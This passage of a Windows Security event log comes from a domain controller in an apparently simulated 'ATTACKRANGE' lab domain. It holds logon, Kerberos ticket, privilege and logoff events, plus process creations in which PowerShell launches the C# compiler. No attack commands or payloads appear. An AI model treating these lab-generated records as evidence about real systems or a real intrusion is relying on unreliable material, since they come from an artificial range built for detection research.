-TaskCategory=Special Logon -OpCode=Info -RecordNumber=252662 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16D8B3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252661 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16D8B3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252660 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252659 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252658 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252657 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16D897 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252656 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16D897 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252655 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16D897 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252654 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252653 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252652 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252651 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16D345 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252650 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16BD95 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252649 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16AA9F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252648 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x125c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa4c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES7BDE.tmp" "c:\Users\Administrator\AppData\Local\Temp\c43nngfo\CSC47160B2AB7D4307816A6CC585648DC.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252647 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa4c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1164 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\c43nngfo\c43nngfo.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252646 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16D345 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252645 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16D345 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252644 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252643 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {06728C1D-F671-43BF-CD48-1FE451E14338} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252642 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252641 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13d4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1138 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES7AA6.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC54001569CA13445184206C329B7CDB1B.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252640 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16D182 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252639 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x16D182 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64659 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252638 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16D182 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252637 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16D119 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252636 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x16D119 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64658 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252635 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16D119 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 